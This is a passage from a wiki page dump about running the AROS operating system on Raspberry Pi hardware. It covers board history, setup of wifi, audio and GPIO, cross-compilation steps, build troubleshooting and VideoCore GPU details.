more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 </pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} oe1hhjaw81o81tf6ixainoswb9zedca 4670678 4670677 2026-09-17T14:48:42Z Jeff1138 301139 4670678 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4 Once you’ve configured the device, simply save the Wireless Networks tab Wi-Fi configuration even if it’s empty. This will create the Wireless.prefs file in the Prefs/Env-Archive/SYS drawer, and should see the Wireless Manager icon in Wanderer. Although a reboot maybe necessary. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, usb ethernet not working and setup wifi has interface issues *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any 